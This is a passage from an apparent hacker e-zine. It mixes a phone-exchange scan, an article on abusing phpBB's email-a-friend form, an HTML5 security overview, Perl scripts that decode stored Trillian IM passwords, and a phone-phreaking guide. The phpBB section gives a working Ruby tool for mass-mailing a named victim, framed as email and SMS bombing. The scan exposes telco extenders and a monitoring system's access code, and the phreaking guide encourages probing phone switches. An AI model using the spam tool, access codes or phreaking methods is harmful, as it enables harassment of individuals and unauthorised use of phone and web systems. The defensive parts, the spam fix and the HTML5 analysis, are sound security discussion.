implementations that analyze firewall log files, so each individual packet would add another line to
the file. One defense would be to simply use libpcap to actively sniff traffic instead, removing
the need for such verbose logging. Honestly, though, hard drives are big enough now that this
wouldn't practically pose a problem, and there are greater things to worry about.
IV. Ending Thoughts
===================
While port knocking may be an old technology, there is a lot of benefit to be gained from its use.
By using the intelligent, dynamic firewall rules offered by port knocking, system administrators can
greatly decrease the number of possible entry points to their servers and even thwart many 0day
attacks while simultaneously adding a second layer of authentication to critical services.
Implementation is simple, and analysis of the knock sequence is difficult. It is still
theoretically imperfect, however. A separate project very closely related to port knocking known as
Single Packet Authorization (SPA) attempts to address these issues by means of encryption and other
fundamental policy changes. I will perhaps write an article on SPA in the future, as there are also
many new and exciting concepts to be learned through its use.
[==================================================================================================]
-=[ 0x07 205-380 Deltacom Scan
-=[ Author: Shadytel, Inc
-=[ Website: http://www.shadytel.com/
0000 - NIS
0902 - Ringout
0903 - Ringout
0904 - Ringout
0905 - Modem
0906 - Modem
0907 - Modem
0908 - Ringout
0917 - Ringout
0918 - Ringout
0943 - <switch noise in background> "Deltacom, er, Earthlink"
0944 - Ringout
0945 - Reorder via SS7
0946 - Ringout
0947 - Ringout
0948 - Ringout
0949 - Ringout
0970 - Fax
0971 - Busy via SS7
0972 - Metaswitch VMB
0977 - Adelphia operator services
0981 - Ringout, busies out with more than one call
0989 - <something>, this is Mike
0991 - DMS extender, wants 5 digit passcode
0992 - Silence to reorder
0993 - VMB
0994 - DMS extender
1 - Immediate CBCAD
2 - Immediate CBCAD
3 - Immediate CBCAD
4 - Immediate CBCAD
5 - Immediate CBCAD
6 - Immediate CBCAD
7 - Immediate CBCAD
8 - Immediate CBCAD
9-1-800-TF - CBCAD
9-1-855-TF - CBCAD
9-2 - Immediate CBCAD
9-4 - Immediate CBCAD
9-3 - Immediate CBCAD
9-8 - Immediate CBCAD
9-9 - Immediate CBCAD
9-10 - Immediate CBCAD
9-14 - Immediate CBCAD
9-17 - Immediate CBCAD
* - Accepts more digits
# - Reorder
0 - Immediate CBCAD
0995 - 105-type test
0997 - Ringout. No answer condition via SS7?
0998 - Caller not accepting blocked calls
0999 - Deltacom customer service #
1000 - NIS
1099 - Modem, 7E1, connects and displays DATA ERROR
1111 - Ringout
2000 - Reorder
2222 - Ringout
2580 - NIS
2999 - Modem
3000 - Deltacom branch executive
3099 - Ringout
3100 - Deltacom sales VP
3200 - Business
3333 - "This is Brad"
4000 - Business
4444 - Partyline
5000 - NIS
5555 - NIS
6000 - VMB
6666 - NIS
7000 - Partyline
7777 - DTMF "Hello? Hello? Hello?" DTMF
8000 - NIS
8888 - NIS
8900 - iTelos? Some asterisk thing
8998 - Ringout
8999 - Modem <CNAM: JEFFERSON COUNT>
9000 - "Please enter your authorization code. This consists of your registered phone number
beginning with your area code plus your four-digit pin."
9400 - Centron monitoring system, access code is 1234
9401 - "Earthlink Business, this is Dennis, how can I help you?"
9402 - Deltacom NOC
9403 - Earthlink Business/Deltacom voice and data installations department
9407 - Ringout, busies out with more than one call
9408 - Business
9409 - Fax
9899 - Busy signal
9906 - "Welcome to National Directory Assistance..." - backdoor!
9905 - Level3 operator services. Likely resold Deltacom
9904 - Burst of dialtone, disconnects
9903 - Same as 9904
9920- "First Response"
9980 - Reorder
9981 - Reorder
9990 - NIS
9998 - NIS
9999 - True silent termination?
[==================================================================================================]
-=[ 0x08 Abusing phpBB's Tell-A-Friend Feature
-=[ Author: Luis Santana
-=[ Website: http://hacktalk.net
Table of Contents
1. Introduction
2. Implications
3. The Attack
4. The Solution
Introduction
Spam is a worldwide issue that does not seem to be going away any time soon and continues to become
more and more problematic with each passing year.
A 2009 Cisco Systems report lists the origin of spam by country as follows:
(trillions of spam messages per year)
1. Brazil: 7.7;
2. USA: 6.6;
3. India: 3.6;
4. South Korea: 3.1;
5. Turkey: 2.6;
6. Vietnam: 2.5;
7. China: 2.4;
8. Poland: 2.4;
9. Russia: 2.3;
10. Argentina: 1.5.
Worldwide, it is estimated that spam will cost businesses $130 billion; in the U.S. alone, $42
billion. That’s a 30% increase over 2007 estimates, which themselves were a 100% increase over 2005
figures. (Ferris Research)
With many blacklists becoming more and more trusted and commonplace, many ISPs and webhosts adapting
strict compliance with the CAN SPAM act for all clients who need to send mass emails, and projects
like Project Honey Pot helping to keep spam issues under control, one would believe that the
spamming issue would soon become a thing of the past. Sadly, spammers seem to be constantly finding
new methods to bypass such protections and continue to send their spam.
While looking for potential vulnerabilities in the ever popular forum/CMS phpBB3, I noticed a very
helpful function for telling your friends about posts. What I also noticed was there was minimal
protection against spamming. Within an hour I was able to craft a tool to exploit this
“vulnerability” and send myself quite a massive amount of spam in a short time span.
Implications
A Google search query for "Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group" turns up a
whopping 209,000 results. With a list of 209 thousand potential targets already indexed by Google,
a spammer has quite a few targets to send their spam from. The problem for these 209 thousand
websites is that once spammers start abusing the emailing function, their domain’s reputation will
plummet and the webmaster will have to contact the respective blacklists in order to be delisted,
which could cause some considerable loss if a business is highly dependent on their email system.
With email services being cut off to a business, a spammer can utilize their time to send forged
emails claiming to be the company, and people would be none the wiser. Hackers could also use this
technique to “email bomb” and “SMS bomb” victims, using up their mail quota or disrupting normal
usage of their SMS-enabled device. This paper will focus on the utilization of the latter method,
without caring whether or not a domain’s mailing reputation takes a hit.
Although not covered directly in this paper, there are also many other web applications that have
this functionality, which increases the “area of effect” of this attack significantly. Without any
further ado, let’s begin the attack.
The Attack
Including searching Google for a prospective target, the time it takes to start sending spam is less
than 5 minutes. A spammer simply needs to register an account on the forum (using a proxy and
disposable/temporary email if they wish) and they are able to begin leveraging the forum to send
their spam.
After the spammer has logged in, they simply need to visit the following URL to have access to the
emailing function:
http://victim.tld/[optional_installation_path/]memberlist.php?mode=email&t=1
Screenshot available at:
http://www.gonullyourself.org/zine/3/phpbbscreenshot.png
http://img143.imageshack.us/img143/7590/phpbbscreenshot.png
http://i56.tinypic.com/2irna1f.png
As you can see, there is no captcha for protection against automated submissions. In fact, besides
the user being logged into the site, there is only a short 5 second “flood control” implemented in
the form.
The following (ugly) Ruby code illustrates successful abuse of this design flaw. Note that it waits
10 seconds before looping again, as I’ve found that waiting 10 seconds is the “sweet spot” where the
most amount of successful emails will be sent, since lower time values will often cause the script
to hiccup and say it sent an email when it really didn’t.
#SpamBB.rb v1.0
#phpBB3 Spamming Tool
#Coded by Luis Santana
#HackTalk Security Team
#Shouts to Shardy, Rage, Node, Xires & Stacy
require "rubygems"
require "mechanize"
Mechanize::Util::CODE_DIC[:SJIS] = "UTF-8"
#class Spammer
# attr_accessor :user, :pass, :site, :victim, :name, :message, :spamcount, :topic
#
# @agent = Mechanize.new
# @agent.user_agent_alias = "Windows Mozilla"
#
# def login
# page = @agent.get("http://#{@site}/ucp.php?mode=login")
# end
#end
puts "****************************************"
puts "* SpamBB *"
puts "* Coded By *"
puts "* Luis Santana *"
puts "* HackTalk Security *"
puts "****************************************"
puts "Enter your username:"
user = gets.chomp
puts "Enter your password:"
pass = gets.chomp
puts "Enter the website without http and include the phpBB3 path (no trailing /):"
site = gets.chomp
puts "Enter the victim's email address:"
victim = gets.chomp
puts "Enter victim's name: "
name = gets.chomp
puts "Enter your spam message: "
message = gets.chomp
puts "How many emails would you like to send?: "
spamcount = gets.chomp
puts "Enter an active topic number: "
topic = gets.chomp
agent = Mechanize.new
agent.user_agent_alias = "Windows Mozilla"
page = agent.get("http://#{site}/ucp.php?mode=login")
login_form = page.forms.last
login_form.username = user
login_form.password = pass
page = agent.submit(login_form, login_form.buttons.first)
page = agent.get("http://#{site}/memberlist.php?mode=email&t=#{topic}")
email_form = page.forms.last
email_form.fields[0].value = victim
email_form.fields[1].value = name
email_form.lang = "en_us"
email_form.message = message
puts ""
arr = []
1.upto(spamcount.to_i) do |count|
page = agent.submit(email_form, email_form.buttons.last)
puts "Email ##{count} Sent\n"
sleep(5)
end
puts "\nFinished Spamming"
While this code is very basic, it illustrates the simplicity of exploiting this flaw and can be
easily built upon to allow proxy support as well as multiple threads for multiple user accounts.
The Solution
By implementing even rudimentary captchas on “Email Your Friend” forms, web developers can help to
greatly cut down on spam that can be sent using this method. Dedicated spammers may use captcha
solving services to help their automated tools in order to bypass the captcha, but it is still one
more step between the spammer and being able to send the spam. It is also recommended that there be
a daily limit to how many emails a user/IP can send a day, and a longer time in between being able
to use the function. If a user/IP can only send 5 emails a day and has to wait a half hour in
between each email, then spammers will quickly realize that it is not worth spending the extra money
to buy private proxies and captcha solving services for 5 emails sent over the course of 2-and-a-
half hours.
[==================================================================================================]
-=[ 0x09 New Security Features in HTML5
-=[ Author: duper
-=[ Website: http://projects.ext.haxnet.org/~super/
<html>
<head>
<title>New Security Features in HTML5</title>
<script type="text/javascript">
Table_of_Contents = {
"1": "Session Storage",
"2": "Local Storage",
"3": "GeoLocation API",
"4": "Cryptographic Key Generation",
"5": "The Transition from Same-Origin to Cross-Origin"
"6": "Miscellaneous Commentary on Less Visible Features"
}
</script>
</head>
<body>
<ol>
<li>Session Storage</li>
<p>
The first decade of the new millennium witnessed an exponential increase
in session management attacks against web applications. The introduction
of the original reflexive cross-site scripting vulnerability type gave
way to an entirely new attack taxonomy that metastasized throughout
the security research community in the following decade. Persistent
cross-site scripting (XSS), cross-site request forgery (CSRF, also known
as "sea surfing") and cross-site tracing are just a few of the attack
classifications that eventually followed from reflexive XSS. Some more
obscure variations include the injection of Javascript into DNS resource
records and session fixation through cross-site cooking (and also
cross-subdomain cooking.)
The universal need for more concise session management solutions coupled
with the nearly ubiquitous presence of vulnerabilities in current
implementations has prompted the W3C to provide an alternative. The
traditional approach to managing web sessions has been via cookies in
the HTTP protocol. Obviously, cookies will still be available going
forward given the necessity of backwards compatibility. However, HTML5
adds the sessionStorage attribute to ECMAScript (a.k.a. Javascript),
thus giving web developers a standard way to store session variables
<u>without</u> cookies. The following example demonstrates this concept:
<code>
if (!(sessionStorage.username))
sessionStorage.username = "luser";
else
document.writeln('Welcome back ' + sessionStorage.username);
</code>
Essentially, this code assigns a username the first time the browser
renders the page, and shows a message containing that username whenever
the browser renders the page again. So, will this technique prevent the
exploitation of WWW sessions forevermore? Absolutely not, but it most
definitely changes the playing field. For more information, refer to:
<cite title="W3C Web Storage API Specification Editor's Draft">
http://dev.w3.org/html5/webstorage/
</cite>
</p>
<li>Local Storage</li>
<p>
Programatically speaking, HTML5 local storage isn't all that different
from session storage. This is because they both use the ECMAScript
Storage interface definition. The difference is that local storage
persists regardless of session. If a user logs out of a web application
and closes their web browser as well, then variables in local storage
will still be accessible the next time the browser is opened; unlike
session storage. The primary syntactical difference is that the
<code>localStorage</code> identifier is used as opposed to the
<code>sessionStorage</code> identifier.
</p>
<li>GeoLocation API</li>
<p>
HTML5 provides a JavaScript API for determining the latitude and
longitude coordinates of the web browser. At the time of writing,
not all browsers fully supported this feature. Opera and Mozilla
FireFox implement GeoLocation by negotiating an HTTPS session with
Google Apps as opposed to maintaining a client-side copy of GeoIP
data. If other browser vendors follow suit, this approach could lead
to Denial of Service, location spoofing, client-side attacks and
similar issues if the web service referral technique is not developed
carefully.
Disabling Opera's GeoLocation functionality is as simple as adding an
entry to /etc/hosts for the address to the Google Apps server
(api.google.com.) Performing such an attack remotely could involve
techniques as conventional as DNS cache poisoning and ARP redirection.
At the time of writing, IE9 beta still did not support the new
GeoLocation API. What follows is a code snippet demonstrating JavaScript
syntax that utilizes the HTML5 GeoLocation API.
<script type="text/javascript">
if (navigator.geolocation)
navigator.geolocation.getCurrentPosition(fsuccess, ferror);
else
alert('Browser does not support GeoLocation!');
function fsuccess(position) {
var lat = position.coords.latitude, lng = position.coords.longitude;
alert('Your latitude is :' + lat + ' and longitude is ' + lng);
}
function ferror(position) {
alert('Javascript W3C GeoLocation API Error!');
}
</script>
For more information, refer to:
<cite title="W3C GeoLocation API Specification Working Draft">
http://dev.w3.org/geo/api/
</cite>
</p>
<li>Cryptographic Key Generation</li>
<p>
HTML5 adds browser-side public key infrastructure (PKI) functionality
to HTML forms via a key-pair generator/input control, i.e. the
<keygen> tag. The Opera browser is a bit ahead of Mozilla FireFox
and Microsoft Internet Explorer in terms of HTML5 development; even the
IE9 beta. At the time of writing, I was able to create forms supporting
various PKI algorithms in Opera 10.63 Build 5136 with key sizes ranging
from 1024 bits to 4096 bits. Opera owns and operates a root store for
SSL certificates as well. As a result, they've effectively monopolized
the supply of root certificate authorities permitted to validate digital
signatures in leaf and intermediate chain verification positions.
Visit my.opera.com/rootstore for more information. The following is a
list of currently supported algorithms:
<ul>
<li>RSA<li>
<li>DSA<li>
<li>DSA with PQG<li>
<li>EC<li>
</ul>
Furthermore, this key generation feature is being utilized by a social
networking security protocol called FOAF+SSL (Friend Of A Friend plus
Secure Sockets Layer.) To read more about this interesting usage of
in-browser PKI, see:
<cite title="FOAF+SSL Entry on W3C's Semantic Web Wiki">
http://esw.w3.org/Foaf+ssl
</cite>
For more information, refer to:
<cite title="W3C HTML Markup Language Reference Working Draft">
http://www.w3.org/TR/html-markup/keygen.html
</cite>
</p>
<li>The Transition from Same Origin to Cross Origin</li>
<p>
The popularity and prevalence of the drive-by download technique in
malware distribution circles is largely due to its efficiency as one
of the most potent executable code delivery and bootstrapping options
available. Undoubtedly, this is the sort of situation that begs for
improvement and web standards have naturally been forced into flux as a
result. Originally, the idea was that all web browsers were responsible
for enforcing data integrity as it relates to where the data originated
from. The same-origin policy was an imaginary rule of thumb for web
developers, but it rarely crossed over into the arena of solid
practicality. It wasn't so much of a protective feature as it was a
principle or a natural side effect of electronic data transfer that gave
rise to a natural progression of developer reactions that were
appropriate in the context of growing e-commerce transactions and other
information parsing and exchange processes that were beginning to take
place online.
The HTML5 version of IFRAME now has two new attributes: seamless and
sandboxed. Enabling the seamless attribute causes the IFRAME to become
one with the parent document (e.g. frameborder, marginwidth, etc. are
no longer specified.) Seamless IFRAME's make injection that much more
dangerous, although sandboxing makes it that much more difficult because
by default it disables scripts, forms, foreign origins (CSRF'ing), and
top-level context navigation (DOM traversal). Since IFRAME sandboxing
is essentially a client-side WAF (Web Application Firewall) in default
deny mode, each one of the four settings must be enabled explicitly
like so:
<code>
<iframe sandboxed>hello</iframe>
<iframe sandboxed="allow-scripts allow-forms allow-same-origin
allow-top-navigation">world</iframe>
</code>
The first IFRAME above is the empty attribute syntax version which
creates a frame that's, as they say, "secure by default." The second
IFRAME tag explicitly disables all the sandboxing features; in other
words, such a tag offers no protection at all. Furthermore, a sandbox
attribute with both the allow-same-origin and allow-scripts keywords
can be compromised if the site hosting the source HTML for the frame
decides to include some JavaScript that removes the sandboxed
attribute from the DOM. IFRAME sandboxing should not be relied on to
protect end users from malicious sites as it becomes a matter of the
attacker conning them into a direct site visit. Nevertheless,
"collateral" damage can be minimized by setting the frame's
MIME Content-Type to "text/html-sandboxed" which is similar to
Microsoft Internet Explorer's support for the "X-Content-Type-Options:
nosniff" HTTP response header. "html-sandboxed" is standard but
"nosniff" could be easier to setup in some environments. These
settings stop the browser from determining document format based on
predictable magic bytes in the file header (which goes a long way
in the prevention of drive-by downloads and DOM-based attacks.)
Of course the sandbox settings are only applicable within the context of
the newly rendered IFRAME (as opposed to the entire page) -- which
allows for some granularity in page control. Also keep in mind that
IFRAME sandboxen will not affect browser plug-ins such as Java applets,
Flash, Adobe Reader, SilverLight, etc. Therefore, if a plug-in happens
to get compromised while executing within the browser, then the attacker
gains access to at least the current browser session--thus, sandbox
subversion becomes rather trivial.
X-Content-Type-Options is just one of an extremely long list of custom
workarounds for what is now becoming standard in HTML5. Loads of HTML5
shim projects have already materialized on the Net's open source
repositories, e.g. GitHub, Google Code, SourceForge, etc. There is some
good work being done to protect web clients' information assets; the
problem is that so many new features are being standardized and released
so quickly that there can't possibly have been enough security testing
performed.
In purely hypothetical terms, the notion of same-origin sounds like
some sort of fundamental axiom that's in possession of structural
fortitude in spite of adversity. Realistically, generation Web 2.0
proved it nothing more than clear-cut snake oil. It doesn't take long to
find a web log comment form with IFRAME injections advertising black
market pharmaceuticals. Moreover, it's quite typical for web
applications to embed functionality from a sister site that sports a
different domain name, thereby dismissing any semblance of identical
origination. There's far too many code injection attacks that all lead
to rewriting document location--certainly something that's unacceptable
when in combination with the multitude of legitimate site design
possibilities causing the same issue. The W3C (World Wide Web
Consortium) community is providing some reactionary solutions for all
the shenanigans that transpired as misuse and abuse of the same-origin
policy. The name of the mechanism tasked with handling this can of
worms is "Cross-Origin Resource Sharing", or CORS for short. Perhaps the
characters supporting the W3C pronounce the acronym in a manner that is
akin to the name of a certain brewing company in Colorado.
CORS regulates the authorization of untrusted web server actions
according to the type of foreign data access operation being performed.
Any sufficiently archetypal state transition on the Web can be labeled
as descending from at least one of four essential classification types:
cross-host, cross-subdomain, cross-port, and/or cross-protocol. Note
that cross-protocol includes going from plaintext HTTP to encrypted
HTTPS and vice versa, so it could also be termed cross-method as it
includes any hyperlink which is prepended with a new or different URI
scheme. Of course there are other more fine-grained categorizations in
the HTML5 security taxonomy, such as cross-service and cross-path (i.e.
modifying the SOAPAction HTTP request header field and the
pseudo-virtual filesystem directory pathnames exposed by RESTful URL
query strings.) However, sharing space with an attacker on a web hosting
service is out of the question for sites being deployed in
mission-critical production environments.
Various RIA (Rich Internet Application) suites including Flash and
SilverLight have been using XML to define cross-origin policies that
are localized to the browser plug-in. The XML Schema Definition (XSD)
for Adobe's Cross Domain Policy Specification sprung forth with a need
for the four principal origin crossings types which were just described.
This technique of storing a tiny XML document under the web server root
directory has been so effective that plug-ins maintained by other vendors
now support Adobe's crossdomain.xml format. With that being said, it also
has a cousin format; clientaccesspolicy.xml was developed by Microsoft
to define network security policies for SilverLight instances running in
tandem with web browsers that have their own set of policies to enforce.
SilverLight well attempt to use crossdomain.xml after it first
determines clientaccesspolicy.xml does not exist. Adobe's Cross Domain
Policy format enjoys wider use and is better known. In the examples
shown below, the top instance is the least permissive and the bottom is
the least restrictive--in terms of the permissions that are being
granted relative to cross-origin policies and such.
<ul>
<li>
<pre>
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="none"/>
</cross-domain-policy>
</pre>
<li>
<pre>
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*"
secure="false"/>
</pre>
<li>
<ul>
Note how the wildcard syntax is being used to make extremely powerful
statements in only a brief measure of space. The least permissive
instance (the first one on top) doesn't require many lines because a
default deny policy is put into place prior to parsing the
configuration. Even though Microsoft's Client Access Policy format
has a completely different XML Document Type Definition (DTD), it still
still provides the user with the ability to share comparable expression
meaning, especially since it also supports the asterisk wildcards. The
upcoming clientaccesspolicy.xml sample allows access to the resource
located in the "/costcalculators" path through both HTTP and HTTPS if
the request headers specified by the <allow-from> tag are provided:
<ul>
<li>
<pre>
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="MyHeader, X-API-*">
<domain uri="*"/>
<domain uri="http://*"/>
</allow-from>
<grant-to>
<resource path="/costcalculations"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
</pre>
</li>
</ul>
Client Access Policy utilizes an implicity deny/explicit allow technique
with regard to policy declaration which is identical to Cross Domain
Policy files. These XML policy files are concise and effective for the
most part, but that's because they're only for a particular browser
plug-in. Completely locking down all existing security contexts from
unauthorized cross-origin access is going to be a much bigger chore.
However, there is one possible drawback I considered and that involves
general programmer laziness and wildcards; when it comes to manually
enabling each setting one-by-one, especially in a private development
environment, it wouldn't be surprising at all if a coder decided to
enable everything with a fully encompassing single line wildcard
statement. Afterwards, they immediately forget because everything just
works and an overly permissive browser plug-in policy leaks into a
live deployment. Wetware truly is the weakest link.
Massive efforts are underway to accurately manage fine-grained policy in
cross-origin communications taking place between and amongst any
number of arbitrary browser processes. The W3C's latest technical
reports have codified at least a half dozen response headers in
combination with several request headers fields (both in the HTTP
protocol.) The names of each are listed individually below. When
compared to other header field names from the IETF's RFC documents,
these are quite long. An advantage of the unusual size is that they're
self-descriptive.
<ol>
<li>Cross-Origin Resource Sharing Response Headers</li>
<ul>
<li>Access-Control-Allow-Origin</li>
<li>Access-Control-Allow-Credentials</li>
<li>Access-Control-Expose-Headers</li>
<li>Access-Control-Max-Age</li>
<li>Access-Control-Allow-Methods</li>
<li>Access-Control-Allow-Headers</li>
</ul>
<li>Cross-Origin Resource Sharing Request Headers</li>
<ul>
<li>Origin</li> <!-- Yes, this one's definitely the shortest.. -->
<li>Allow-Control-Request-Method</li>
<li>Allow-Control-Request-Headers</li>
<ul>
<cite title="HTML5 Web Messaging, Cross-Document Messaging, Security">
http://dev.w3.org/html5/postmsg/#security-postmsg
</cite>
<cite title="Cross-Origin Resource Sharing Working Draft">
http://www.w3.org/TR/cors/
</cite>
<cite title="All Your iFRAMEs Point to US">
http://research.google.com/archive/provos-2008a.pdf
</cite>
</p>
<li>Miscellaneous Commentary on Less Visible Features</li>
<p>
W3C is really going overboard this time. Another new HTML5 feature is
the ability to enable the hidden attribute for <b><i>any</b></i> element
tag. As a result, the element wouldn't be rendered by the web browser.
I suppose this enables more dynamic page control by allowing hidden
elements to be <q>un-hidden</q> by rewriting the DOM with JavaScript.
In the past, I haven't been too concerned about my relative anonymity
while surfing the net over Tor with Vidalia. If I'm forwarding DNS
requests to resolvers in onion routes and there's no Java Runtime
Environment in my browser to instantiate TCP sockets, then there's a
fairly high probability that my identity is unknown to my traffic's
destinations. All of these new features in HTML5 have undeniably shaken
my perception of personal safety, at least in the realm of web browsers
with graphical user interfaces. I suppose I could torify lynx, but that
wouldn't be much fun at all.
The Selectors API (Application Programming Interface) is much like an
abstraction or ORM (Object Relational Model) for the DOM. Accessing
elements using Selectors allows one to access the desired elements
with very little syntactical baggage compared to performing an
identical operation on the DOM in the past with JavaScript. Despite
the improvement, I believe it's just another potential code injection
vulnerability. Here's a code snippet I found on the Web for visual
demonstration:
<code>
document.querySelectorAll('section:nth-of-type(6) li:nth-child(odd)')
<code>
Looks pretty injectable, right? If you thought that was bad, then
brace yourself, cause JavaScript will soon be featuring a Web SQL
interface to boot. Another specification that's destined to
immediately become classic is the Web Sockets API. Perhaps it's not as
lunatic as it sounds since it "does not allow for raw access to the
underlying network." It only "maintains bidirectional communications
with server-side processes." The issue that's overshadowing each and
every one of these little standards in this onslaught is that the
sum total of them all is just one massive piece of shit rapidly
approaching an industrial strength cooling fan (and eventually coming
out at the other end of the Intertubes.)
<cite title="W3C Web SQL Database Specification">
http://www.w3.org/TR/webdatabase/
</cite>
<cite title="W3C Web Sockets API Specification">
http://www.w3.org/TR/websockets/
</cite>
<br />
</p>
</li>
<cite title="http://html5labs.interoperabilitybridges.com">
A premature front supported by Microsoft; content is severely
limited to features available in IE9 beta at press release time.
</cite>
<cite title="http://html5sec.org">
Extremely useful HTML5 security cheat sheet. All pheer.
</cite>
</ol>
</body>
</html>
[==================================================================================================]
-=[ 0x0a Decoding Trillian Password Files
-=[ Author: storm
-=[ Email: storm@gonullyourself.org
-=[ Website: http://gonullyourself.org/
Within the past month, I decided to ditch Windows as a desktop (well, laptop) OS and make the switch
fully to Linux. In past desktop migrations, I've simply copied my Trillian configuration files to
the new system and pasted them over the defaults, which has served me well for a number of years.
For those who don't know, Trillian is a universal IM client (AIM, MSN, etc.) for Windows. I use the
saved passwords feature, so the client remembers my logins by storing my usernames and respective
encoded passwords to .ini files (along with other personal settings). Being a mindless sheep, I
copied my latest Trillian .ini files over to my new Linux desktop and, wait a second... There's no
Linux version of the client! Shit.
Naturally, using the saved passwords feature for years resulted in forgetting the passwords to my
IM accounts themselves. After a quick Google search, I found that it's actually pretty trivial to
retrieve one's Trillian passwords since the encoding is simply an XOR encryption using hard-coded
keys. It seems like these keys haven't changed in quite some time either. Knowing this
information, you can either A) make a really freaking huge lookup table (see
http://www.nettwerked.net/trillian.txt), or B) determine what these hard-coded keys actually are
(see http://www.wangproducts.net/article.php?id=34). Either way works, but once you have the list
of XOR keys, it's much less of a pain to write a decoder program using them.
Both of the linked sites offer simple scripts to decode Trillian passwords, but I was feeling
ambitious and wanted to write my own just for the heck of it. Plus, I wanted my script to parse
through an .ini file and decode all of the passwords and not just a single password given by a
string (like in the example scripts). After a few hours of programming and fixing little quirks
raised by Perl::Critic, I had a pretty polished result that was working exactly as planned:
#!/usr/bin/perl
#
# Trillian Password Decoder
# By storm (www.gonullyourself.org)
#
# % perl trillian.pl /path/to/file.ini
#
# Works (tested) with aim.ini, msn.ini, and Jabber.ini
#
use strict;
use warnings;
# Thanks to Wang for this list
# http://www.wangproducts.net/article.php?id=34
my @xorkeys = qw/
243 038 129 196 057 134 219 146 113 163 185 230
083 122 149 124 000 000 000 000 000 000 255 000
000 128 000 000 000 128 128 000 255 000 000 000
128 000 128 000 128 128 000 000 000 128 255 000
128 000 255 000 128 128 128 000 085 110 097 098
108 101 032 116 111 032 114 101 115 111 108 118
101 032 072 084 084 080 032 112 114 111 120 000
/;
sub decode {
my $char = shift; # First two hex digits of the input
my $rest = shift; # The rest of the password
my $counter = shift; # Incrementing through @xorkeys
if ( $char ne q{!!} ) { # Looking for end of string
# Return the decoded character and recure through the rest
return chr(hex($char) ^ $xorkeys[$counter]) .
decode(substr($rest, 0, 2), substr($rest, 2), ++$counter);
} else {
return "\n";
}
}
# The password= line isn't always right after the name=
# so we have to go looking for it
sub findpass {
my $FH = shift;
my $line = <$FH>;
if ( $line =~ /^password=/ ) {
return $line;
} else {
return findpass($FH);
}
}
open my $FH, q{<}, shift or die "Error while opening: $!\n";
while ( <$FH> ) {
if ( $_ =~ /^\[profile/i ) { #If we found a new profile
my @name = split /=/, <$FH>;
$name[1] =~ s/[\r\n]//g; # Remove CRLF
print "Username: $name[1]\n";
my @pass = split /=/, findpass($FH);
$pass[1] =~ s/[\r\n]//g; # Remove CRLF
print 'Password: ' . decode(substr($pass[1], 0, 2), substr($pass[1], 2) . q{!!}, 0) . "\n";
}
}
close $FH or die "Error while closing: $!\n";
-=-=-
I passed the script off to ardnew for review, and he made a number of edits. Besides restructuring
the code to completely avoid recursion, he also employed a few Perl-specific tricks to make certain
areas more efficient and/or elegant. You'll also notice the use of function abstraction to prevent
duplicate code:
use strict;
use warnings;
our @ini_username_keys = ("name", "account", "username");
our @ini_password_keys = ("password");
our @xorkeys = qw/
243 038 129 196 057 134 219 146 113 163 185 230
083 122 149 124 000 000 000 000 000 000 255 000
000 128 000 000 000 128 128 000 255 000 000 000
128 000 128 000 128 128 000 000 000 128 255 000
128 000 255 000 128 128 128 000 085 110 097 098
108 101 032 116 111 032 114 101 115 111 108 118
101 032 072 084 084 080 032 112 114 111 120 000
/;
sub get_profiles($)
{
my $fh = $_[0];
my %profiles = ();
my $curr_profile = "";
local $/ = "\r\n";
foreach (<$fh>)
{
chomp;
$curr_profile = "" if /^\s*\[.*\]\s*$/;
if (/^\s*\[profile\s*(\S+)\s*\]\s*$/i)
{
$curr_profile = $1;
$profiles{$curr_profile} = ();
next;
}
$profiles{$curr_profile}{lc $1} = $2 if
$curr_profile ne "" and /^\s*([^=]+)\s*=\s*(.+)\s*$/;
}
return %profiles;
}
sub decode_pass($)
{
my $pass = $_[0];
my $decp = "";
$decp .= chr(hex(substr($pass, 2*$_, 2)) ^ $xorkeys[$_])
foreach 0 .. (length $pass) / 2 - 1;
return $decp;
}
# MAINLINE
{
die "please specify a file.\n" unless
scalar @ARGV > 0;
open F, $ARGV[0] or die "cannot open $ARGV[0]: $!\n";
my %profiles = get_profiles(\*F);
close F;
foreach my $p (sort {$a <=> $b} keys %profiles)
{
print "profile $p:\n";
my @nfields = grep { $profiles{$p}{$_} } @ini_username_keys;
my @pfields = grep { $profiles{$p}{$_} } @ini_password_keys;
print "\t$_ = ". $profiles{$p}{$_} ."\n" foreach @nfields;
print "\t$_ = ". decode_pass($profiles{$p}{$_}) ."\n" foreach @pfields;
}
}
-=-=-
I thought this was a great example of TIMTOWTDI (There Is More Than One Way To Do It) at work, and
perhaps you as the reader will pick up some new tricks by comparing the two scripts and recognizing
the different methods used to accomplish the same task. You may notice that one way is better than
the other and start writing your own programs differently, or perhaps you may just see certain
functions and special variables used in ways you didn't know existed, increasing your exposure to
the language. If you've come up with another cool way to rewrite this code, then hey, send it in
and we'll consider publishing it in the next issue.
Thanks to hx and Wang for their published information relating to Trillian passwords, and thanks to
ardnew for sharing his rewrite of my code.
[==================================================================================================]
-=[ 0x0b So You've Got a Dialtone...
-=[ Author: Shadytel, Inc
-=[ Website: http://www.shadytel.com/
So you've got a dialtone. Odds are, the only thing you may know is that it sure as hell isn't the
dialtone you got picking up the phone. But what's important is that it can be coming from anything.
Maybe a tieline switch as we discussed last issue. Maybe a company that runs sex lines. Maybe a
prison! All it means is you've stumbled into the network somewhere, and it's time for some good old
fashioned phone phreaking!
The most obvious question you can ask yourself about a dialtone is where exactly is it coming from?
There isn't an easy way to answer that question, but there are easy ways to identify a few of the
machines you might be dealing with. When scanning almost any telco, DMS-100 extenders are not only a
dime a dozen, but they're most often secure to an extent and have unusually flexible dialplans. If
you're calling from the United States, you can hear a real live DMS extender. Ready? Dial 10-10-555.
No 0, no number after, just 10-10-555, and if you're on a switch that likes to wait a long time for
more digits, press # when you're finished to make it pick up the pace.
Did you notice how it chose to route you depending on how many digits you dialed? Since the
dialplans on DMS extenders are the most unpredictable things in the world, this always makes it
easier to check how many digits it wants. On most reasonably configured DMSes, there won't be any
